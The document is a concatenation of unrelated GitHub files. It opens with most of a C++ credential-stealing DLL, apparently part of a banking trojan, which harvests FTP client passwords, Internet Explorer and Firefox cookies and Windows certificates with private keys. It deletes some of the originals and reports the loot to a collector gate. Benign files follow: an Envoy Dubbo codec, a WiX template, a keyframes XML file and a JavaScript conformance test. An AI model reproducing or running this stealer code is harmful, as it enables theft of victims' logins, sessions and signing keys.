XmlParser::_freeBstr(pass); } XmlParser::_freeBstr(rootName); } root->Release(); } doc->Release(); } } } return true; } void _ftpSmartFtp(void) { WCHAR inPath[MAX_PATH]; WCHAR curPath[MAX_PATH]; FTPDATA ftpData; DWORD size; Mem::_zero(&ftpData, sizeof(FTPDATA)); { CSTR_GETW(regKey1, softwaregrabber_smartftp_regkey_1); CSTR_GETW(regKey2, softwaregrabber_smartftp_regkey_2); CSTR_GETW(regValue1, softwaregrabber_smartftp_regvalue_1); CSTR_GETW(regValue2, softwaregrabber_smartftp_regvalue_2); const LPWSTR keys[] = {regKey1, regKey2}; const LPWSTR values[] = {regValue1, regValue2}; for(BYTE i = 0; i < sizeof(keys) / sizeof(LPWSTR); i++) { if((size = Registry::_getValueAsString(HKEY_CURRENT_USER, keys[i], values[i], inPath, MAX_PATH)) != (DWORD)-1 && size > 0) { CWA(kernel32, ExpandEnvironmentStringsW)(inPath, curPath, MAX_PATH); ftpSmartFtpBasicSearch(curPath, &ftpData); } } } if(ftpData.count > 0) writeReport(ftpData.list, softwaregrabber_smartftp_title, BLT_GRABBED_FTPSOFTWARE); else Mem::free(ftpData.list); } enum { COOKIESFLAG_DELETE = 0x1, //Удалить куки. COOKIESFLAG_SAVE = 0x2 //Сохранить куки. }; //Размер буфера для INTERNET_CACHE_ENTRY_INFOW. #define WININETCOOKIE_BUFFER_SIZE (sizeof(INTERNET_CACHE_ENTRY_INFOW) + INTERNET_MAX_URL_LENGTH * sizeof(WCHAR) + MAX_PATH * sizeof(WCHAR)) /* Чтение кука Wininet из файла. IN fileName - имя файла. Return - данные кука(удалит через Mem), или NULL - в случаи ошибки. */ static LPSTR __inline parseWininetCookies(LPWSTR fileName) { Fs::MEMFILE mf; LPSTR output = NULL; if(Fs::_fileToMem(fileName, &mf, 0)) { LPSTR *list; DWORD listCount = Str::_splitToStringsA((LPSTR)mf.data, mf.size, &list, Str::STS_TRIM, 0); Fs::_closeMemFile(&mf); if(listCount != (DWORD)-1) { if(listCount % 9 == 0) { char reportPathFormat[] = "\nPath: %s\n"; char reportFormat[] = "%s=%s\n"; LPSTR prevPath = NULL, path, name, value; char buf[INTERNET_MAX_URL_LENGTH + 20]; int bufSize; for(DWORD i = 0; i < listCount; i += 9) { //Получем значения. if((name = list[i + 0]) == NULL || *name == 0 || (value = list[i + 1]) == NULL || *value == 0 || (path = list[i + 2]) == NULL || *path == 0) { //Нервеный формат. Mem::free(output); output = NULL; break; } //Добавление пути. if(Str::_CompareA(prevPath, path, -1, -1) != 0) { bufSize = Str::_sprintfA(buf, sizeof(buf), reportPathFormat, path); if(bufSize == -1 || !Str::_CatExA(&output, buf, bufSize)){output = NULL; break;} } //Добовление кука. { bufSize = Str::_sprintfA(buf, sizeof(buf), reportFormat, name, value); if(bufSize == -1 || !Str::_CatExA(&output, buf, bufSize)){output = NULL; break;} } prevPath = path; } } Mem::freeArrayOfPointers(list, listCount); } } return output; } typedef struct { DWORD flags; LPSTR list; DWORD listSize; }WININETCOOKIESPROCFINDDATA; /* Кэлбэк Fs::_findFiles(). */ static bool wininetCookiesFindProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { WININETCOOKIESPROCFINDDATA *wcpfd = (WININETCOOKIESPROCFINDDATA *)data; WCHAR file[MAX_PATH]; if(Fs::_pathCombine(file, path, (LPWSTR)fileInfo->cFileName)) { if(wcpfd->flags & COOKIESFLAG_SAVE) { LPSTR curCookie = parseWininetCookies(file); if(curCookie != NULL) { DWORD curCookieSize = Str::_LengthA(curCookie); if(Mem::reallocEx(&wcpfd->list, wcpfd->listSize + curCookieSize)) { Mem::_copy(wcpfd->list + wcpfd->listSize, curCookie, curCookieSize); wcpfd->listSize += curCookieSize; } Mem::free(curCookie); } } if(wcpfd->flags & COOKIESFLAG_DELETE) { Fs::_removeFile(file); } } return true; } /* Обработка куков Wininet. IN flags - флаги COOKIESFLAG_*. OUT list - полный список куков. OUT listSize - размер списка куков. */ static void wininetCookiesProc(DWORD flags, LPSTR *list, LPDWORD listSize) { WCHAR mask1[] = L"*@*.txt"; const LPWSTR mask[] = {mask1}; WININETCOOKIESPROCFINDDATA wcpfd; wcpfd.flags = flags; wcpfd.list = NULL; wcpfd.listSize = 0; WCHAR path[MAX_PATH]; if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_COOKIES, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) { Fs::_findFiles(path, mask, sizeof(mask) / sizeof(LPWSTR), Fs::FFFLAG_SEARCH_FILES | Fs::FFFLAG_RECURSIVE, wininetCookiesFindProc, &wcpfd, NULL, 10, 10); } if(flags & COOKIESFLAG_SAVE) { *list = wcpfd.list; *listSize = wcpfd.listSize; } } void getIECookies(void) { LPSTR cookies; LPWSTR cookiesW = NULL; DWORD cookiesSize; //Получаем куки. wininetCookiesProc(COOKIESFLAG_SAVE | COOKIESFLAG_DELETE, &cookies, &cookiesSize); if(cookiesSize == 0)cookies = NULL; else cookiesW = Str::_ansiToUnicodeEx(cookies, -1); //Пишим лог. if(cookiesW) { LPWSTR report; WCHAR header[] = L"Wininet(Internet Explorer) cookies:\n%S"; int r = Str::_sprintfExW(&report, header, cookiesW); if(r > 0) g_GateToCollector3(BLT_COOKIES, 0, report, r); Mem::free(report); } Mem::free(cookies); Mem::free(cookiesW); } //FF Cookies typedef struct sqlite3 sqlite3; typedef int (__cdecl *Tsqlite3_open16)( const void *filename, /* Database filename (UTF-8) */ sqlite3 **ppDb /* OUT: SQLite db handle */ ); typedef int (__cdecl *Tsqlite3_exec)( sqlite3*, /* An open database */ const char *sql, /* SQL to be evaluated */ int (__cdecl *callback)(void*,int,char**,char**), /* Callback function */ void *, /* 1st argument to callback */ char **errmsg /* Error msg written here */ ); typedef void (__cdecl *Tsqlite3_free)(void*); typedef int (__cdecl *Tsqlite3_close)(sqlite3 *); struct FFCookiesData { Tsqlite3_free sqlite3_free; Tsqlite3_close sqlite3_close; Tsqlite3_exec sqlite3_exec; Tsqlite3_open16 sqlite3_open16; HMODULE mozsqlite3; HMODULE msvcrt; HMODULE mozglue; LPSTR Cookies; DWORD CookiesSize; }; bool Sqlite3FunctionsInit(FFCookiesData* table) { WCHAR path[MAX_PATH]; if((SHGetFolderPathW(0, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) && Fs::_pathCombine(path, path, L"\\Mozilla Firefox")) { HMODULE msvcrt = LoadLibraryW(L"MSVCR100.dll"); HMODULE mozglue; { WCHAR mozglue_path[MAX_PATH]; Fs::_pathCombine(mozglue_path, path, L"mozglue.dll"); mozglue = LoadLibraryW(mozglue_path); } HMODULE mozsqlite3; { WCHAR mozsqlite3_path[MAX_PATH]; Fs::_pathCombine(mozsqlite3_path, path, L"mozsqlite3.dll"); mozsqlite3 = LoadLibraryW(mozsqlite3_path); } WDEBUG("mozglue.dll = 0x%X\r\nmozsqlite3.dll = 0x%X\r\nMSVCR100.dll = 0x%X", mozglue, mozsqlite3, msvcrt); if(mozsqlite3 && !IsBadWritePtr(table, sizeof(FFCookiesData))) { table->sqlite3_close = (Tsqlite3_close)CWA(kernel32, GetProcAddress)(mozsqlite3, "sqlite3_close"); table->sqlite3_exec = (Tsqlite3_exec)CWA(kernel32, GetProcAddress)(mozsqlite3, "sqlite3_exec"); table->sqlite3_free = (Tsqlite3_free)CWA(kernel32, GetProcAddress)(mozsqlite3, "sqlite3_free"); table->sqlite3_open16 = (Tsqlite3_open16)CWA(kernel32, GetProcAddress)(mozsqlite3, "sqlite3_open16"); table->mozsqlite3 = mozsqlite3; table->msvcrt = msvcrt; table->mozglue = mozglue; return true; } else WDEBUG("Can't load mozsqlite3.dll, LE: 0x%X", GetLastError()); } else WDEBUG("Can't merge paths '%s' and '%s'", path, L"\\Mozilla Firefox\\mozsqlite3.dll"); return false; } typedef bool (ENUMPROFILESPROC)(const LPWSTR path, void *param); static void enumProfiles(ENUMPROFILESPROC proc, void *param) { //Получем домашнию директорию. WCHAR firefoxHome[MAX_PATH]; WCHAR firefoxPath[] = L"Mozilla\\Firefox"; if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, firefoxHome) == S_OK && Fs::_pathCombine(firefoxHome, firefoxHome, firefoxPath)) { //Получаем список профилей. WCHAR profilesFile[MAX_PATH]; WCHAR profilesBaseName[] = L"profiles.ini"; if(Fs::_pathCombine(profilesFile, firefoxHome, profilesBaseName) && CWA(kernel32, GetFileAttributesW)(profilesFile) != INVALID_FILE_ATTRIBUTES) { WCHAR section[10]; WCHAR profilePath[MAX_PATH]; UINT isRelative; WCHAR keyProfileIdFormat[] = L"Profile%u"; WCHAR keyProfileRelative[] = L"IsRelative"; WCHAR keyProfilePath[] = L"Path"; for(BYTE i = 0; i < 250; i++) { //Получаем данные текущего профиля. if(Str::_sprintfW(section, sizeof(section) / sizeof(WCHAR), keyProfileIdFormat, i) < 1 || (isRelative = CWA(kernel32, GetPrivateProfileIntW)(section, keyProfileRelative, (INT)(UINT)-1, profilesFile)) == (UINT)-1 )break; if(CWA(kernel32, GetPrivateProfileStringW)(section, keyProfilePath, NULL, profilePath, sizeof(profilePath) / sizeof(WCHAR), profilesFile) == 0)continue; Fs::_normalizeSlashes(profilePath); //Вызываем кээлбэк. if(isRelative == 1) //Именно жестоко 1, согласно коду firefox. { WCHAR fullPath[MAX_PATH]; if(Fs::_pathCombine(fullPath, firefoxHome, profilePath) && !proc(fullPath, param))break; } else { if(!proc(profilePath, param))break; } } } } } static int __cdecl callback(void *pointer, int coln, char **rows, char **colnm) { FFCookiesData* table = (FFCookiesData*)pointer; if(coln == 3) { char format[] = "%s\nPath: %s\n%s=%s\n"; table->CookiesSize = Str::_sprintfExA(&table->Cookies, format, table->Cookies, rows[0], rows[1], rows[2]); } return 0; } static bool enumProfilesForCookies(const LPWSTR path, void *param) { FFCookiesData* funcs = (FFCookiesData*)param; bool ok = false; WCHAR CookiesFile[MAX_PATH]; WCHAR CookiesBaseName[] = L"cookies.sqlite"; if(Fs::_pathCombine(CookiesFile, path, CookiesBaseName)) { WCHAR tempFile[MAX_PATH]; if(Fs::_createTempFile(NULL, tempFile)) { ok = CWA(kernel32, CopyFileW)(CookiesFile, tempFile, false); WDEBUG("CopyFileW(\"%s\", \"%s\") == %u", CookiesFile, tempFile, ok); sqlite3 *db = 0; if(funcs->sqlite3_open16(tempFile, &db) == 0 /* #define SQLITE_OK 0*/ ) { char CookiesQuery[] = "SELECT baseDomain,name,value FROM moz_cookies;"; char *err = 0; if(funcs->sqlite3_exec(db, CookiesQuery, callback, param, &err)) { funcs->sqlite3_free(err); } else WDEBUG("sqlite3_exec failed. %s", Str::_ansiToUnicodeEx(err, -1)); funcs->sqlite3_close(db); } else WDEBUG("sqlite3_open16 failed."); if(ok) Fs::_removeFile(tempFile); } } return true; } void getFFCookies(void) { FFCookiesData cd; if(Sqlite3FunctionsInit(&cd)) { enumProfiles(enumProfilesForCookies, &cd); LPWSTR CookiesW; if(cd.CookiesSize > 0 && (CookiesW = Str::_ansiToUnicodeEx(cd.Cookies, cd.CookiesSize))) { g_GateToCollector3(BLT_COOKIES, 0, CookiesW, cd.CookiesSize); Mem::free(CookiesW); Mem::free(cd.Cookies); FreeLibrary(cd.mozsqlite3); FreeLibrary(cd.msvcrt); FreeLibrary(cd.mozglue); } else WDEBUG("FF Cookies not found."); } } static bool getFlashPlayerPath(LPWSTR path) { CSTR_GETW(home, softwaregrabber_flashplayer_path); return (CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, path) == S_OK && Fs::_pathCombine(path, path, home)); } static void _writeFolderAsArchive(LPWSTR path, LPWSTR *fileMask, DWORD fileMaskCount, LPWSTR destPath, DWORD flags) { bool retVal = false; WCHAR tmpFile[MAX_PATH]; if(Fs::_createTempFile(L"bc", tmpFile) && Fs::_removeFile(tmpFile) && MsCab::createFromFolder(tmpFile, path, NULL, fileMask, fileMaskCount, flags)) { Fs::MEMFILE cab; if(Fs::_fileToMem(tmpFile, &cab, 0)) { g_WriteData(BLT_FILE, destPath, cab.data, cab.size); Fs::_closeMemFile(&cab); } Fs::_removeFile(tmpFile); } } void _getMacromediaFlashFiles(void) { WDEBUG("Exporing the sol-files."); CSTR_GETW(mask1, softwaregrabber_flashplayer_mask); const LPWSTR mask[] = {mask1}; WCHAR path[MAX_PATH]; CSTR_GETW(file, softwaregrabber_flashplayer_archive); if(getFlashPlayerPath(path)) _writeFolderAsArchive(path, (LPWSTR *)mask, sizeof(mask) / sizeof(LPWSTR), file, MsCab::CFF_RECURSE); } void _removeMacromediaFlashFiles(void) { WCHAR path[MAX_PATH]; WDEBUG("Removing the sol-files."); if(getFlashPlayerPath(path)) Fs::_removeDirectoryTree(path); } #pragma endregion GrabbingFunctions void _ftpAll(void) { _ftpFlashFxp3(); _ftpCuteFtp(); _ftpTotalCommander(); _ftpWsFtp(); _ftpFileZilla(); _ftpFarManager(); _ftpWinScp(); _ftpFtpCommander(); _ftpCoreFtp(); _ftpSmartFtp(); } void _emailAll(void) { if(winVersion >= OsEnv::VERSION_VISTA) { _emailWindowsMail(false); _emailWindowsContacts(); } else { _emailOutlookExpress(); _emailWindowsAddressBook(); } _emailWindowsMailRecipients(); //Windows Live Mail может быть установлен на XP+. _emailWindowsMail(true); } void _cookiesAll(void) { getIECookies(); getFFCookies(); } void _certsAll(void) { //Getting Windows certs. if(!g_WriteData) return; LPWSTR storeName = L"MY"; HANDLE storeHandle = CWA(crypt32, CertOpenSystemStoreW)(NULL, storeName); if(storeHandle != NULL) { //Получаем кол. сертификатов. DWORD certsCount = 0; { PCCERT_CONTEXT certContext = NULL; while((certContext = CWA(crypt32, CertEnumCertificatesInStore)(storeHandle, certContext)) != NULL)certsCount++; } if(certsCount != 0) { //Получаем размер хранилища. CRYPT_DATA_BLOB pfxBlob; pfxBlob.pbData = NULL; pfxBlob.cbData = 0; WCHAR password[] = L"GCert"; if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE && (pfxBlob.pbData = (LPBYTE)Mem::alloc(pfxBlob.cbData)) != NULL) { if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE) { //Делаем имя хранилища в нижний регистр. WCHAR storeNameLower[31 * 2]; Str::_CopyW(storeNameLower, storeName, -1); CWA(kernel32, CharLowerW)(storeNameLower); //Генерируем имя. WCHAR userName[MAX_PATH]; WCHAR pfxName[31 * 2]; SYSTEMTIME st; CWA(kernel32, GetSystemTime)(&st); WCHAR serverPath[] = L"certs\\%s\\%s_%02u_%02u_%04u.pfx"; getUserNameForPath(userName); if(Str::_sprintfW(pfxName, sizeof(pfxName) / sizeof(WCHAR), serverPath, userName, storeNameLower, st.wDay, st.wMonth, st.wYear) > 0) { g_WriteData(BLT_FILE, pfxName, pfxBlob.pbData, pfxBlob.cbData); } } Mem::free(pfxBlob.pbData); } } CWA(crypt32, CertCloseStore)(storeHandle, 0); } //Removing Windows certs. storeHandle = CWA(crypt32, CertOpenSystemStoreW)(NULL, storeName); if(storeHandle != NULL) { PCCERT_CONTEXT certContext = NULL; while((certContext = CWA(crypt32, CertEnumCertificatesInStore)(storeHandle, certContext)) != NULL) { PCCERT_CONTEXT dupCertContext = CWA(crypt32, CertDuplicateCertificateContext)(certContext); if(dupCertContext != NULL)CWA(crypt32, CertDeleteCertificateFromStore)(dupCertContext); } CWA(crypt32, CertCloseStore)(storeHandle, 0); } } static void _getVersion(void) { DWORD ver = OsEnv::VERSION_UNKNOWN; OSVERSIONINFOEXW osvi; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); if(CWA(kernel32, GetVersionExW)((OSVERSIONINFOW *)&osvi) != FALSE && osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) { if(osvi.wProductType == VER_NT_WORKSTATION) { //Windows 2000 - 5.0 if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)ver = OsEnv::VERSION_2000; //Windows XP - 5.1 else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)ver = OsEnv::VERSION_XP; //Windows XP Professional x64 Edition - 5.2 else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)ver = OsEnv::VERSION_XP; //Windows Vista - 6.0 else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)ver = OsEnv::VERSION_VISTA; //Windows 7 - 6.1 else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)ver = OsEnv::VERSION_SEVEN; //Windows 8 - 6.2 else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2)ver = OsEnv::VERSION_EIGHT; } else if(osvi.wProductType == VER_NT_DOMAIN_CONTROLLER || osvi.wProductType == VER_NT_SERVER) { //Windows Server 2003 - 5.2, Windows Server 2003 R2 - 5.2, Windows Home Server - 5.2 if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)ver = OsEnv::VERSION_S2003; //Windows Server 2008 - 6.0 else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)ver = OsEnv::VERSION_S2008; //Windows Server 2008 R2 - 6.1 else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)ver = OsEnv::VERSION_S2008R2; //Windows Server 2012 else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2)ver = OsEnv::VERSION_S2012; } } winVersion = ver; } bool APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { return true; } DllExport VOID __cdecl SoftwareGrabber::TakeGateToCollector3(void *lpGateFunc2) { g_GateToCollector3 = (GATETOCOLLECTOR3)lpGateFunc2; } DllExport VOID __cdecl SoftwareGrabber::TakeWriteData(void *lpGateFunc4) { g_WriteData = (WRITEDATA)lpGateFunc4; } DllExport BOOL __cdecl SoftwareGrabber::Start() { if(!winVersion || !g_GateToCollector3) return false; EnterCriticalSection(&cs); //Knocking to the gate. { WCHAR knock[] = L"knock!"; g_GateToCollector3(BLT_KNOCK, 0, knock, sizeof(knock) / sizeof(WCHAR)); } HRESULT hr; if(ComLibrary::_initThread(&hr) && g_GateToCollector3) { if(flags & GRAB_FTPS) _ftpAll(); if(flags & GRAB_EMAILS) _emailAll(); if(flags & GRAB_COOKIES) _cookiesAll(); if(flags & GRAB_CERTS) _certsAll(); if(flags & GRAB_SOL) {_getMacromediaFlashFiles();_removeMacromediaFlashFiles();} ComLibrary::_uninitThread(hr); } LeaveCriticalSection(&cs); return true; } DllExport BOOL __cdecl SoftwareGrabber::Stop() { DeleteCriticalSection(&cs); Str::Uninit(); Mem::uninit(); return true; } DllExport BOOL __cdecl SoftwareGrabber::Init(char *szConfig) { if(!szConfig || IsBadReadPtr(szConfig, 1)) return false; InitializeCriticalSection(&cs); EnterCriticalSection(&cs); Mem::init(512*1024); Str::Init(); _getVersion(); if(StrStrIA(szConfig, "grab_all;")) { flags |= GRAB_ALL; goto ending; } if(StrStrIA(szConfig, "grab_emails;")) { flags |= GRAB_EMAILS; } if(StrStrIA(szConfig, "grab_ftps;")) { flags |= GRAB_FTPS; } if(StrStrIA(szConfig, "grab_cookies;")) { flags |= GRAB_COOKIES; } if(StrStrIA(szConfig, "grab_certs;")) { flags |= GRAB_CERTS; } if(StrStrIA(szConfig, "grab_sol;")) { flags |= GRAB_SOL; } ending: LeaveCriticalSection(&cs); return true; } #if BO_DEBUG > 0 DllExport VOID __cdecl SoftwareGrabber::TakeDebugGate(void* lpDebugGate) { g_Debug = (DEBUGWRITESTRING)lpDebugGate; } #endif
{ "pile_set_name": "Github" }
--- layout: "svg_wrapper" title: "Inheritance Graph for _CVarArgAlignedType" typename: "_CVarArgAlignedType" ---
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <Include> <?define VersionNumber="<%= version %>" ?> <?define DisplayVersionNumber="<%= display_version %>" ?> <?define UpgradeCode="<%= upgrade_code %>" ?> <% parameters.each do |key, value| -%> <?define <%= key %>="<%= value %>" ?> <% end -%> </Include>
{ "pile_set_name": "Github" }
#include "extensions/filters/network/dubbo_proxy/dubbo_protocol_impl.h" #include "envoy/registry/registry.h" #include "common/common/assert.h" #include "extensions/filters/network/dubbo_proxy/message_impl.h" #include "extensions/filters/network/dubbo_proxy/serializer_impl.h" namespace Envoy { namespace Extensions { namespace NetworkFilters { namespace DubboProxy { namespace { constexpr uint16_t MagicNumber = 0xdabb; constexpr uint8_t MessageTypeMask = 0x80; constexpr uint8_t EventMask = 0x20; constexpr uint8_t TwoWayMask = 0x40; constexpr uint8_t SerializationTypeMask = 0x1f; constexpr uint64_t FlagOffset = 2; constexpr uint64_t StatusOffset = 3; constexpr uint64_t RequestIDOffset = 4; constexpr uint64_t BodySizeOffset = 12; } // namespace // Consistent with the SerializationType bool isValidSerializationType(SerializationType type) { switch (type) { case SerializationType::Hessian2: break; default: return false; } return true; } // Consistent with the ResponseStatus bool isValidResponseStatus(ResponseStatus status) { switch (status) { case ResponseStatus::Ok: case ResponseStatus::ClientTimeout: case ResponseStatus::ServerTimeout: case ResponseStatus::BadRequest: case ResponseStatus::BadResponse: case ResponseStatus::ServiceNotFound: case ResponseStatus::ServiceError: case ResponseStatus::ClientError: case ResponseStatus::ServerThreadpoolExhaustedError: break; default: return false; } return true; } void parseRequestInfoFromBuffer(Buffer::Instance& data, MessageMetadataSharedPtr metadata) { ASSERT(data.length() >= DubboProtocolImpl::MessageSize); uint8_t flag = data.peekInt<uint8_t>(FlagOffset); bool is_two_way = (flag & TwoWayMask) == TwoWayMask ? true : false; SerializationType type = static_cast<SerializationType>(flag & SerializationTypeMask); if (!isValidSerializationType(type)) { throw EnvoyException( absl::StrCat("invalid dubbo message serialization type ", static_cast<std::underlying_type<SerializationType>::type>(type))); } if (!is_two_way && metadata->messageType() != MessageType::HeartbeatRequest) { metadata->setMessageType(MessageType::Oneway); } metadata->setSerializationType(type); } void parseResponseInfoFromBuffer(Buffer::Instance& buffer, MessageMetadataSharedPtr metadata) { ASSERT(buffer.length() >= DubboProtocolImpl::MessageSize); ResponseStatus status = static_cast<ResponseStatus>(buffer.peekInt<uint8_t>(StatusOffset)); if (!isValidResponseStatus(status)) { throw EnvoyException( absl::StrCat("invalid dubbo message response status ", static_cast<std::underlying_type<ResponseStatus>::type>(status))); } metadata->setResponseStatus(status); } std::pair<ContextSharedPtr, bool> DubboProtocolImpl::decodeHeader(Buffer::Instance& buffer, MessageMetadataSharedPtr metadata) { if (!metadata) { throw EnvoyException("invalid metadata parameter"); } if (buffer.length() < DubboProtocolImpl::MessageSize) { return std::pair<ContextSharedPtr, bool>(nullptr, false); } uint16_t magic_number = buffer.peekBEInt<uint16_t>(); if (magic_number != MagicNumber) { throw EnvoyException(absl::StrCat("invalid dubbo message magic number ", magic_number)); } uint8_t flag = buffer.peekInt<uint8_t>(FlagOffset); MessageType type = (flag & MessageTypeMask) == MessageTypeMask ? MessageType::Request : MessageType::Response; bool is_event = (flag & EventMask) == EventMask ? true : false; int64_t request_id = buffer.peekBEInt<int64_t>(RequestIDOffset); int32_t body_size = buffer.peekBEInt<int32_t>(BodySizeOffset); // The body size of the heartbeat message is zero. if (body_size > MaxBodySize || body_size < 0) { throw EnvoyException(absl::StrCat("invalid dubbo message size ", body_size)); } metadata->setRequestId(request_id); if (type == MessageType::Request) { if (is_event) { type = MessageType::HeartbeatRequest; } metadata->setMessageType(type); parseRequestInfoFromBuffer(buffer, metadata); } else { if (is_event) { type = MessageType::HeartbeatResponse; } metadata->setMessageType(type); parseResponseInfoFromBuffer(buffer, metadata); } auto context = std::make_shared<ContextImpl>(); context->setHeaderSize(DubboProtocolImpl::MessageSize); context->setBodySize(body_size); context->setHeartbeat(is_event); return std::pair<ContextSharedPtr, bool>(context, true); } bool DubboProtocolImpl::decodeData(Buffer::Instance& buffer, ContextSharedPtr context, MessageMetadataSharedPtr metadata) { ASSERT(serializer_); if ((buffer.length()) < static_cast<uint64_t>(context->bodySize())) { return false; } switch (metadata->messageType()) { case MessageType::Oneway: case MessageType::Request: { auto ret = serializer_->deserializeRpcInvocation(buffer, context); if (!ret.second) { return false; } metadata->setInvocationInfo(ret.first); break; } case MessageType::Response: { auto ret = serializer_->deserializeRpcResult(buffer, context); if (!ret.second) { return false; } if (ret.first->hasException()) { metadata->setMessageType(MessageType::Exception); } break; } default: NOT_REACHED_GCOVR_EXCL_LINE; } return true; } bool DubboProtocolImpl::encode(Buffer::Instance& buffer, const MessageMetadata& metadata, const std::string& content, RpcResponseType type) { ASSERT(serializer_); switch (metadata.messageType()) { case MessageType::HeartbeatResponse: { ASSERT(metadata.hasResponseStatus()); ASSERT(content.empty()); buffer.writeBEInt<uint16_t>(MagicNumber); uint8_t flag = static_cast<uint8_t>(metadata.serializationType()); flag = flag ^ EventMask; buffer.writeByte(flag); buffer.writeByte(static_cast<uint8_t>(metadata.responseStatus())); buffer.writeBEInt<uint64_t>(metadata.requestId()); buffer.writeBEInt<uint32_t>(0); return true; } case MessageType::Response: { ASSERT(metadata.hasResponseStatus()); ASSERT(!content.empty()); Buffer::OwnedImpl body_buffer; size_t serialized_body_size = serializer_->serializeRpcResult(body_buffer, content, type); buffer.writeBEInt<uint16_t>(MagicNumber); buffer.writeByte(static_cast<uint8_t>(metadata.serializationType())); buffer.writeByte(static_cast<uint8_t>(metadata.responseStatus())); buffer.writeBEInt<uint64_t>(metadata.requestId()); buffer.writeBEInt<uint32_t>(serialized_body_size); buffer.move(body_buffer, serialized_body_size); return true; } case MessageType::Request: case MessageType::Oneway: case MessageType::Exception: NOT_IMPLEMENTED_GCOVR_EXCL_LINE; default: NOT_REACHED_GCOVR_EXCL_LINE; } } class DubboProtocolConfigFactory : public ProtocolFactoryBase<DubboProtocolImpl> { public: DubboProtocolConfigFactory() : ProtocolFactoryBase(ProtocolType::Dubbo) {} }; /** * Static registration for the Dubbo protocol. @see RegisterFactory. */ REGISTER_FACTORY(DubboProtocolConfigFactory, NamedProtocolConfigFactory); } // namespace DubboProxy } // namespace NetworkFilters } // namespace Extensions } // namespace Envoy
{ "pile_set_name": "Github" }
<keyframes> <key> <switchName>hhh</switchName> <max>00:00:06:317</max> <time>00:00:00:282</time> <value>0.939393938</value> </key> <key> <switchName /> <max>00:00:00:412</max> <time>00:00:00:412</time> <value>0.272727251</value> </key> <key> <switchName /> <max>00:00:00:412</max> <time>00:00:00:412</time> <value>0.272727251</value> </key> <key> <switchName /> <max>00:00:02:186</max> <time>00:00:02:186</time> <value>0.303030312</value> </key> <key> <switchName /> <max>00:00:02:268</max> <time>00:00:02:268</time> <value>0.121212125</value> </key> <key> <switchName /> <max>00:00:10:271</max> <time>00:00:10:271</time> <value>0.173913062</value> </key> <key> <switchName /> <max>00:00:17:220</max> <time>00:00:17:220</time> <value>0.119047642</value> </key> <key> <switchName /> <max>00:00:22:625</max> <time>00:00:22:625</time> <value>0.142857134</value> </key> </keyframes>
{ "pile_set_name": "Github" }
// This file was procedurally generated from the following sources: // - src/class-elements/rs-static-async-method-privatename-identifier-alt.case // - src/class-elements/productions/cls-decl-new-no-sc-line-method.template /*--- description: Valid Static AsyncMethod PrivateName (field definitions followed by a method in a new line without a semicolon) esid: prod-FieldDefinition features: [class-static-methods-private, class, class-fields-public] flags: [generated, async] includes: [propertyHelper.js] info: | ClassElement : MethodDefinition static MethodDefinition FieldDefinition ; static FieldDefinition ; ; MethodDefinition : AsyncMethod AsyncMethod : async [no LineTerminator here] ClassElementName ( UniqueFormalParameters ){ AsyncFunctionBody } ClassElementName : PropertyName PrivateName PrivateName :: # IdentifierName IdentifierName :: IdentifierStart IdentifierName IdentifierPart IdentifierStart :: UnicodeIDStart $ _ \ UnicodeEscapeSequence IdentifierPart:: UnicodeIDContinue $ \ UnicodeEscapeSequence <ZWNJ> <ZWJ> UnicodeIDStart:: any Unicode code point with the Unicode property "ID_Start" UnicodeIDContinue:: any Unicode code point with the Unicode property "ID_Continue" NOTE 3 The sets of code points with Unicode properties "ID_Start" and "ID_Continue" include, respectively, the code points with Unicode properties "Other_ID_Start" and "Other_ID_Continue". ---*/ class C { static async #$(value) { return await value; } static async #_(value) { return await value; } static async #o(value) { return await value; } static async #℘(value) { return await value; } static async #ZW_‌_NJ(value) { return await value; } static async #ZW_‍_J(value) { return await value; } m() { return 42; } static async $(value) { return await this.#$(value); } static async _(value) { return await this.#_(value); } static async o(value) { return await this.#o(value); } static async ℘(value) { // DO NOT CHANGE THE NAME OF THIS FIELD return await this.#℘(value); } static async ZW_‌_NJ(value) { // DO NOT CHANGE THE NAME OF THIS FIELD return await this.#ZW_‌_NJ(value); } static async ZW_‍_J(value) { // DO NOT CHANGE THE NAME OF THIS FIELD return await this.#ZW_‍_J(value); } } var c = new C(); assert.sameValue(c.m(), 42); assert.sameValue(c.m, C.prototype.m); assert.sameValue(Object.hasOwnProperty.call(c, "m"), false); verifyProperty(C.prototype, "m", { enumerable: false, configurable: true, writable: true, }); Promise.all([ C.$(1), C._(1), C.o(1), C.℘(1), // DO NOT CHANGE THE NAME OF THIS FIELD C.ZW_‌_NJ(1), // DO NOT CHANGE THE NAME OF THIS FIELD C.ZW_‍_J(1), // DO NOT CHANGE THE NAME OF THIS FIELD ]).then(results => { assert.sameValue(results[0], 1); assert.sameValue(results[1], 1); assert.sameValue(results[2], 1); assert.sameValue(results[3], 1); assert.sameValue(results[4], 1); assert.sameValue(results[5], 1); }).then($DONE, $DONE);
{ "pile_set_name": "Github" }
